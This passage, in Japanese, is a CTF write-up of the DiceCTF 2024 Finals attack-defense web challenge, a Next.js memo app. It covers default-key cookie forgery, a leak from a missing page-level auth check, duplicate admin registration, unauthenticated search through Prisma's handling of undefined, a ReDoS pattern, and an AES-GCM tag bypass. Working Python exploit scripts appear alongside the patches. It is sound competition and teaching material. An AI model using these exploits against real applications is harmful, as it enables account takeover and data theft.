管理者ユーザのIDは admin で固定されています。これをデフォルトの鍵で暗号化してCookieに設定することで、管理者としてログインできるのではないでしょうか。まず先ほどの encrypt 関数を使って admin を暗号化し、その返り値をメモしておきます。自チームのサーバでこれをCookieに設定すると、admin としてログインできてしまいました。

できあがったexploitは次の通りです。Cookieでは admin としてログインできるような、偽造したクライアントセッションの値を設定しています。/admin は管理者のみが利用できるページですが、これにアクセスすることでsecretなものも含めて全ユーザのすべてのメモの一覧が得られますから、ここからフラグが含まれるメモを手に入れます。

with httpx.Client(base_url=base, cookies={'session': 'Eiwqqz4=.BLPWCOMhyDPpKlYpYTbGIQ==.rM2eolVjjaMb4EBspsci3A=='}) as client:
    try:
        # メモ一覧を取得する
        r = client.get('/admin')
        links = re.findall(r'<li>(.+?)</li>', r.text)
        links = [link for link in links if 'flag' in link]
        links = [re.findall(r'href="(.+?)"', link)[0] for link in links]
        r = client.get(links[-1])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, flag, submit(flag))
    except Exception as e:
        print(e)
        continue

修正は簡単です。.env を編集し、SECRET_KEY で少なくともデフォルトとは異なる鍵を指定します。今回はデフォルトの鍵と数文字しか変わらないものに設定しましたが、8時間で推測なりなんなりしてクラックしてくるようなチームは存在しないだろうと見積もり、このままにしました。

SECRET_KEY="SECRETSECRETSECRETSECRETSEC3ETSe"

脆弱性3: 設定ミスでセンシティブな情報が表示されている

このアプリではNext.jsが使われているわけですが、Next.jsにありがちなこととして、実装や設定のミスによって本来出力すべきでない情報が露出してしまっているページが存在するのではないかと考えました。試しに各ページをcurlで叩いていたところ、管理者のみが閲覧できるはずの /admin において、非ログイン状態でも全メモの一覧が得られてしまいました。

まず、他チームへの攻撃のためにexploitを書きます。やることは単純で、/admin にアクセスしてフラグが書かれていそうなメモのIDを取得し、その内容からフラグを得るだけです。

with httpx.Client(base_url=base) as client:
    try:
        # メモ一覧を取得する
        r = client.get('/admin')
        links = re.findall(r'id\\":\\"([^"]+?)\\",\\"title\\":\\"flag', r.text)
        r = client.get('/post/' + links[-1])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, submit(flag))
    except Exception as e:
        print(e)
        continue

では、修正はどのようにすればよいでしょうか。実は、src/app/admin/layout.tsx には以下のようにログイン済みであり、かつ admin としてログインしていることを確認する処理がありました。実際、非ログイン状態のときにWebブラウザ/admin にアクセスすると、ログインページにリダイレクトされます。しかしながら、レスポンスボディでは管理者しか閲覧できないはずの情報を含め、HTMLが返ってきていました。

export default async function Layout({
  children,
}: {
  children: React.ReactNode;
}) {
  const user = await util.getUser();
  if (!user) {
    return redirect("/login?message=please login first");
  }
  if (user.user !== "admin") {
    return redirect("/login?message=this feature is only available for admins");
  }
  return children;
}

これは、以下のように src/app/admin/page.tsx には認証チェックがないためです。

export default async function Admin() {
  const posts = await db.post.findMany();

  return (
    <main>
      <h3>admin</h3>
      <hr />
      <h4>welcome, admin!</h4>
      <hr />
      <h5>all posts:</h5>
      <PostsList posts={posts} />
      <hr />
      <h5>view posts from specific user</h5>
      <form action={view} className="flex flex-col space-y-4">
        <input type="text" name="user" placeholder="user" />
        <input type="submit" className="flex-[0]" value="view" />
      </form>
    </main>
  );
}

Next.jsでは、layout.tsx では /admin 下の /admin を含む各ルートに対して適用されるのに対して、page.tsx/admin にのみ適用されます。そして、同じディレクトリに layout.tsxpage.tsx が存在した場合は、前者が後者をラップするという関係性にあります

実行順としては、page.tsx の次に layout.tsx が実行されます。今回は page.tsx 側では認証チェックがないために、非ログイン状態でもセンシティブな情報を含むHTMLが生成されつつ、layout.tsx 側では非ログイン状態ならばリダイレクトされるということで、Location ヘッダは送信されつつも、レスポンスボディであわせてメモの一覧も送信されてしまっていました。このような仕組みで情報が漏洩してしまうわけです。

雑な修正ではありますが、src/app/admin/page.tsx にも src/app/admin/layout.tsx と同様に認証チェックの処理を追加することで、非ログイン状態では /admin からメモの一覧が得られないようになりました。

export default async function Admin() {
  const user = await util.getUser();
  if (!user) {
    return redirect("/login?message=please login first");
  }
  if (user.id !== "admin") {
    return redirect("/login?message=this feature is only available for admins");
  }

  const posts = await db.post.findMany();

  return (
    // …
  );
}

脆弱性4: すでに存在しているユーザ名で登録ができる

ソースコードを眺めていると、ユーザ登録ができるページである src/app/register/page.tsx で不思議な処理を見つけました。ユーザから与えられているユーザ名について、すでに使われているかどうかが確認されていません。id というプロパティで別途ユニークなユーザIDが割り振られてはいますが、これはあくまで内部的に使われているだけで、ログイン時にはユーザから与えられたユーザ名の user が使われます。

const schema = zfd.formData({
  user: zfd.text(z.string().min(5).max(64)),
  pass: zfd.text(z.string().min(7)),
});

async function register(formData: FormData) {
  "use server";
  const parsed = schema.safeParse(formData);
  if (!parsed.success) {
    return redirect("/register?message=" + fromError(parsed.error).toString());
  }

  if (parsed.data.pass.includes(parsed.data.user)) {
    return redirect("/register?message=Please choose a better password...");
  }

  const user = await db.user.create({
    data: {
      id: util.generateId("u-"),
      user: parsed.data.user,
      pass: util.sha256(parsed.data.pass),
    },
  });
  cookies().set("session", util.encrypt(user.id));
  redirect("/home");
}

トップページに表示されるメモ一覧や検索機能では、自身が投稿したメモであるかどうかの絞り込みにはユーザ由来の user でなく、サーバ側でランダムに生成した id が使われています。このために、重複したユーザ名で登録できても、フラグを盗み取るという目的のもとではあまり有用でなさそうに見えます。

しかしながら、id でなく user を参照している箇所を探すと、src/app/admin/layout.tsx に見つかりました。管理者かどうかを確認していますが、ここで useradmin かを確認しています。このために、admin という重複したユーザ名で登録するだけで、管理者になれてしまいます。

export default async function Layout({
  children,
}: {
  children: React.ReactNode;
}) {
  const user = await util.getUser();
  if (!user) {
    return redirect("/login?message=please login first");
  }
  if (user.user !== "admin") {
    return redirect("/login?message=this feature is only available for admins");
  }
  return children;
}

exploitは次のとおりです。ChromeのDevToolsでNetworkタブを監視しつつユーザ登録し、どのようなパラメータ名が使われているかを観察して、これをPythonコードにしました。

with httpx.Client(base_url=base) as client:
    try:
        # adminというユーザ名で登録する
        r = client.get('/register')
        name = re.findall(r'name="(\$ACTION_ID_.+?)"', r.text)[0]
        p = str(uuid.uuid4())
        r = client.post('/register', json={
            name: '',
            '1_user': ['admin'],
            '1_pass': p,
            '0': '["$K1"]'
        })

        # メモ一覧を取得する
        r = client.get('/admin')
        links = re.findall(r'id\\":\\"([^"]+?)\\",\\"title\\":\\"flag', r.text)
        r = client.get('/post/' + links[-1])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, submit(flag))
    except Exception as e:
        print(e)
        continue

この脆弱性を修正します。src/app/admin/layout.tsxsrc/app/admin/page.tsx で、ユーザ由来の user でなく、サーバ側でランダムに生成された id を参照するようにするのが適切ではありますが、実は競技中にはこれらの違いに気づいていませんでした。また、ユーザ登録ページで入力されたユーザ名がすでに使われていないかどうかチェックするようにも修正すべきですが、実装とその検証に少し時間を取られそうだと考えたことから、一旦その場しのぎの修正で済ませることにしました。

結局、ユーザ登録ページで admin を含むユーザ名を使用できないようにしました。現実のサービスであれば、ユーザ体験を損ないかねず好ましくない修正ではありますが、これは8時間経てば環境が破棄されるただの競技ですし、SLAチェックにも「adminを含むユーザ名で登録できる」という項目はないため、問題はありません。

  if (parsed.data.user.includes('admin')) {
    return redirect("/register?message=Please choose a better password...");
  }

脆弱性5: 非ログイン状態でも検索機能が利用できる

さて、ここまでで管理者向けのページやユーザ登録ページ等で脆弱性を見つけてきましたが、メモの検索ページではまだ脆弱性が見つけられていません。これほど脆弱性が作りやすい機能でひとつも埋め込まないというのは、作問者の気持ちを考えるとまずあり得ません。このような発想から検索機能のコードを確認していたところ、ひとつ見つかりました。

管理者向けのページと同様に、src/app/search/layout.tsx ではログイン済みか確認されているものの、src/app/search/page.tsx ではこのような認証チェックがありません。管理者向けのページならまだしも、検索機能でそんなチェックがないところで問題が発生するのか、と思ってしまいますが、コードを確認すると大問題であることがわかります。

メモの検索に db.post.findMany({ where: { authorId: user?.id } }) とORMであるPrismaが使われていますが、ここでログインしているユーザ本人のメモだけに絞り込むため、user?.idwhere 中で指定しています。非ログイン状態であれば undefined になるわけですが、Prismaでは値として undefined が渡された際に、対応するカラムでフィルターは行わないという挙動をとります。つまり、非ログイン状態であれば db.post.findMany() 相当の処理によって、メモが全件返ってきてしまうわけです。

export default async function Search({
  searchParams,
}: {
  searchParams: Record<string, string>;
}) {
  const { query } = searchParams;
  if (!query) {
    return redirect("/home?message=missing search query");
  }

  const user = await util.getUser();
  const re = new RegExp(query, "i");
  const posts = (
    await db.post.findMany({ where: { authorId: user?.id } })
  ).filter((p: Post) => re.test(JSON.stringify(p)));

  if (posts.length === 0) {
    return redirect("/home?message=no posts found");
  }

  return (
    <main>
      <h4>you searched for: {query}</h4>
      <hr />
      <PostsList posts={posts} />
    </main>
  );
}

exploitを書いていきます。非ログイン状態で /search?query=flag にアクセスすることで、全ユーザのメモからフラグを含むメモに絞って一覧を取得できます。

with httpx.Client(base_url=base) as client:
    try:
        # フラグを含むメモを検索する
        r = client.get('/search?query=flag')
        links = re.findall(r'id\\":\\"([^"]+?)\\",\\"title\\":\\"flag', r.text)

        r = client.get('/post/' + links[-1])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, submit(flag))

        r = client.get('/post/' + links[0])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, submit(flag))
    except Exception as e:
        print(e)
        continue

管理者向けのページに存在した脆弱性と同様に、page.tsx に認証チェックを設けることで修正しました。

const user = await util.getUser();
if (!user) {
  return redirect("/login?message=please login first");
}
脆弱性5.1: 検索機能でReDoSができる

検索機能でどのようにメモをフィルターしているかを見ると、ユーザから与えられた正規表現を使っていることがわかります。特にこの入力について検証は行われておらず、どのような正規表現でも使えます。ReDoSができるのではないでしょうか。

  const re = new RegExp(query, "i");
  const posts = (
    await db.post.findMany({ where: { authorId: user?.id } })
  ).filter((p: Post) => re.test(JSON.stringify(p)));

試しにローカルで ^(([^)]+)+)$ というようなクエリで検索してみると、サーバを落とすことができました。これで他チームのサービスをダウンさせればSLAを落とせます…が、ルールで明示的にDoSが禁止されていたために実戦投入はしませんでした。SLA正規表現を使ったクエリが正常に実行できるかがチェックされており、安易な修正によってSLAを落としてしまう可能性を危惧し、また他チームはルールを破ってまでDoSを仕掛けてこないだろうというフェアプレー精神への信頼から、修正も行いませんでした。

本来であれば、safe-regex2 のようなライブラリを使って危険な正規表現が与えられていないか検証するとか、そもそも必要がないのに正規表現で検索できるようにしないといった対策をすべきでしょう。

脆弱性6: 既存のクライアントセッションから、新たなセッションの偽造ができる

まだ脆弱性がないかとソースコードを何度も読み直しましたが、なかなか見つけることはできません。一旦ソースコードから脆弱性を探すのはやめて、色々な入力を試して怪しい挙動をする機能がないか調べることにしました。

前述のようにクライアントセッションではAES-256-GCMが使われていたわけですが、この暗号文の内容だったり、認証タグの長さだったりをいじってセッションを偽造できないでしょうか。期待せずに色々検証していると、暗号文を短くすることで復号後の平文まで短くしたり、また暗号化前の平文がユーザIDであり、/home 中から確認できることを利用して、平文と暗号文のそれぞれ頭5バイト、それから admin という文字列をXORしたものを新たな暗号文とすることで、セッションを改ざんして admin としてログインしていることにできたりすることがわかりました。

let token = encrypt('Adminhoge');
let [enc, ...rest] = token.split('.');

enc = Buffer.from(enc, 'base64').slice(0, 5)
enc[0] ^= 'A'.charCodeAt() ^ 'a'.charCodeAt();

let forgedToken = [enc.toString('base64'), ...rest].join('.');
console.log(decrypt(token)); // 'Adminhoge'
console.log(decrypt(forgedToken)); // 'admin'

exploitは次のとおりです。適当なユーザ名で登録した後に、発行されたセッションと /home で得られたユーザIDを使って、admin としてログインしていることにできるセッションを偽造しています。

with httpx.Client(base_url=base) as client:
    try:
        # 適当なユーザ名で登録する
        r = client.get('/register')
        name = re.findall(r'name="(\$ACTION_ID_.+?)"', r.text)[0]
        action = name[-40:]
        p = str(uuid.uuid4())
        r = client.post('/register', data={
            name: '',
            '1_user': f'Pdmin{p}',
            '1_pass': f'{p}',
            '0': '["$K1"]'
        })

        # /homeからユーザIDを得る
        r = client.get('/home')
        u = re.findall(r'(u-.+?)<', r.text)[0]

        # セッションを偽造する
        session = urllib.parse.unquote(client.cookies.get('session'))
        data, sign = session.split('.', 1)
        data = base64.b64decode(data)[:5]
        data = xor(xor(u[:5].encode(), data), b'admin')
        data = base64.b64encode(data).decode()

        del client.cookies['session']
        client.cookies.update({'session': data + '.' + sign})

        # adminとしてログインできたはずなので、/adminからフラグの書かれたメモを得る
        r = client.get('/admin')
        links = re.findall(r'id\\":\\"([^"]+?)\\",\\"title\\":\\"flag', r.text)
        r = client.get('/post/' + links[-1])
        flag = re.findall(r'dice\{.+?\}', r.text)[0]
        print(i, submit(flag))
    except Exception as e:
        print(e)
        continue

メッセージの認証によって完全性を担保できるGCMモードが使われているはずですが、何が起こっているのでしょうか。競技中は原因を突き止めることができず、間に合わせの対策でなんとかすることにしました。非常に雑ながら、次のように暗号化時には poyopo という文字列を平文の頭に追加しつつ、復号時にはこのゴミを取り去るというパッチをあてました。

とても「対策」とは言えない代物ですが、この問題では別のチームがサービスにどのようなパッチをあてたか、そもそもなにか変更を加えたかどうかを知ることはできないようになっていたため、これでも十分でした。他チームからはこの(稚拙な)ロジックを知り得ず、8時間以内に突破できないだろうと見積もっての修正でした。

diff --git a/src/util.ts b/src/util.ts
index ef64d53..591fa37 100644
--- a/src/util.ts
+++ b/src/util.ts
@@ -12,7 +12,7 @@ const SECRET_KEY = process.env.SECRET_KEY || "SECRETSECRETSECRETSECRETSECRETSE";
 const encrypt = (data: string) => {
   const iv = Buffer.from(crypto.randomBytes(16));
   const cipher = crypto.createCipheriv("aes-256-gcm", SECRET_KEY, iv);
-  const enc = cipher.update(data, "utf-8", "base64") + cipher.final("base64");
+  const enc = cipher.update('poyopo' + data, "utf-8", "base64") + cipher.final("base64");
   return [
     enc,
     iv.toString("base64"),
@@ -27,7 +27,7 @@ const decrypt = (data: string) => {
   const decipher = crypto.createDecipheriv("aes-256-gcm", SECRET_KEY, iv);
   decipher.setAuthTag(authTag);
   const dec = decipher.update(enc, undefined, "utf8");
-  return dec;
+  return dec.slice(6);
 };

今回は場当たり的な修正を施しましたが、本来であれば原因を追求して根本的な修正を加えたり、よくわからないが脆弱性が発生してしまっているような自前のセッション管理システムの利用を避け、NextAuth.jsのような既存のライブラリに頼るのが楽で確実な修正だったように思います。

では、この脆弱性の原因とはなんだったのでしょうか。実は、以下の復号処理において crypto モジュールの使い方に問題がありました。GitHub等で "setAuthTag" を検索して、crypto モジュールでAES-GCMを使う際にどのようなコードが書かれているか見てみると、たとえば auth0/magic というライブラリでは、最後に decipher.final()final メソッドを呼び出している様子が見られました。

Node.jsのソースコードを確認していると、どうやらGCMモード等のAEADが使われている場合には、final メソッドが呼び出されるタイミングでメッセージの認証を行い、また認証に失敗した際にエラーを発生させているとわかります。このコードでは final メソッドが呼び出されておらず、そのためにメッセージの認証が行われず、改ざんに成功してしまったわけです。

const decrypt = (data: string) => {
  const [enc, iv, authTag] = data
    .split(".")
    .map((d) => Buffer.from(d, "base64"));
  const decipher = crypto.createDecipheriv("aes-256-gcm", SECRET_KEY, iv);
  decipher.setAuthTag(authTag);
  const dec = decipher.update(enc, undefined, "utf8");
  return dec;
};

したがって、次のように decrypt 関数を変更することで、根本的に脆弱性を修正できるのでした。

const decrypt = (data: string) => {
  const [enc, iv, authTag] = data
    .split(".")
    .map((d) => Buffer.from(d, "base64"));
  const decipher = crypto.createDecipheriv("aes-256-gcm", SECRET_KEY, iv);
  decipher.setAuthTag(authTag);
  const dec = Buffer.concat([decipher.update(enc), decipher.final()]);
  return dec.toString("utf8");
};

反省

競技の結果としては、この問題では2位を獲得することができました。ハイペースに脆弱性を発見して修正しつつ、また他チームへ攻撃を加えることができていたためと考えられ、実際にスコアサーバ上では他チームへの攻撃成功回数や、他チームからの攻撃を防御した(フラグを盗まれなかった)回数が公開されていましたが、BunkyoWesternsは序盤から中盤にかけていずれの回数でも上位に位置していました。

しかしながら、終盤では攻撃の成功回数自体は減っていないものの、防御に失敗している回数が大きく増え、最後には半数のチームからフラグを奪われている状況でした。脆弱性の修正が不十分であったか、もしくは我々にとって未知の脆弱性が存在していた可能性があり、競技中盤までのリードのおかげで他チームに追い抜かれることはなかったものの、悔しいところです。

ほかの反省点として、全体的に焦りすぎたと感じています。ICCのチームアジアで導入されていたExploitFarmというツールを使えば、他チームへの攻撃の自動化をやりやすくしたり、またどのチームへの攻撃が成功しているかという状況を確認したりできました。また、Tulipのようなツールを導入すれば、パケットを監視しやすくなり、これによってリプレイ攻撃に活用したり、フラグが流出している状況を監視したりできました。しかしながら、今回は最序盤で脆弱性1を発見し修正した際、再デプロイの方法を探っているうちに誤ってサービスを落としてしまってあたふたしていました*12。そのうちに、スコアボード上で他チームが攻撃に成功している様子を観測し、それどころではないとツールを準備する余裕がなくなってしまいました。せめて簡易的なパケットキャプチャぐらいは、攻撃の解析のために競技の途中からでもすべきだったと思っています*13

競技時間が8時間しかないという制約を考えると、すでに発見しており、かつある程度有効な一時しのぎの策も思いついている脆弱性にこだわるより、新たな脆弱性を見つけることを優先するという方針は正しかったと思っています。しかしながら、原因の追求や対策の検討で詰めきれず、間に合わせの対策しか取ることのできなかった脆弱性が複数あったのはやや悔しいところです。

おわりに

本記事では、ニューヨークで開催されたDiceCTF 2024 Finalsの競技の模様、それから出題された問題の解説についてお伝えしました。少しでも、競技の興奮や楽しさが読者の皆様に伝わっていれば幸いです。

今回はst98が担当していた問題について解説しましたが、今後、Jeopardyのリバースエンジニアリング問題や、A&DではDiceSatやDiceGridといった、今井が担当していた問題についてもwriteupを公開する予定です。

私たちは今後も技術の研鑽に努め、CTFを含め様々な競技大会への参加を続けていきます。またラックとして競技大会へ参加した際は、LAC WATCHやラック・セキュリティごった煮ブログにおいてその様子をお伝えできればと思います。

*1:Xの予告ポストで決勝大会のことを知り、ずっと楽しみにしていました

*2:決勝大会自体もこれまでオンラインでも開催されておらず、今回が初めての試みのようでした

*3:競技中には事前に指定した4名以外の参加は禁止されていましたが、事前準備の段階ではほかのメンバーによるサポートはルール上問題ないと明示されていました

*4:8時間という競技時間は、24時間や48時間というのが多い普段のCTFと比較すると短く、それにあわせて難易度も調整されている印象を受けました

*5:今回はスタティックスコアリング(静的スコアリング)が採用されていました。運営が考えた難易度に基づいて各問題に固定された配点がなされており、問題を解いたチーム数が増えても点数は変わりませんでした

*6:全チームでひとつの環境を共有するのが一般的なので、ぱっと見てわざわざこのような作りになっていることを不思議に思いました。たとえば、データベースの全データを削除するような破壊的な解法だとか、単にアプリの作りが甘くすぐ壊れるとか、そうする必要性があるのではないかと考えます。なお、HTB Business CTFなど、どんな問題でもチームごとに隔離された環境が用意されるCTFもたまにあります

*7:なぜかなりゆるゆるなのにプロトコルだけは確認しているのかというと、javascript:スキームのURLが入力されることを警戒しているのでしょう。もし通してしまうと、現在開かれているWebページのコンテキストでJSコードが実行されてしまい、非常に簡単に問題が解けてしまいます

*8:Javaへの憎しみが伝わってきます。今回はJavaで書かれているかどうかはあまり関係ない気もしますが

*9:Webサービスの仕様はともかく、スコアサーバの仕様はせめて前日には共有してほしかったと思います

*10:ほかのA&D形式を採用しているCTFでは、たとえば他チームからの攻撃パケットもSLAチェックのパケットも同一のIPアドレスを用いられるようにして防ぐことがあります。もっとも、この場合もUser-Agent等の別の情報を用いて判別できることがあります。DEF CON CTFでも理由は不明ながらIPアドレスがマスクされるようですが、サイバーディフェンス研究所さんからIPヘッダのチェックサムをもとにこのマスクを解除するという興味深い記事が公開されています

*11:なお、secretに設定されたメモであっても、パーマリンクさえわかれば他ユーザからでも閲覧可能でなければならないと仕様上明記されていました。secretというのは、メモ一覧で表示されないということだけを意味するわけです

*12:ありがたいことに、運営に修正方法を共有してもらい解決しました。実はサービスの仕様等が書かれているドキュメント中に書かれており、ソースコードよりもなによりも先にまず読むべきは仕様だなと反省しました

*13:なお、競技中にDiscord上で "please do not store pcaps (or any other large files) on the disk of dice-diary!" というアナウンスがありました。この制約を回避しつつパケットをキャプチャするのも面倒だなという気持ちになり、結局考えるのをやめました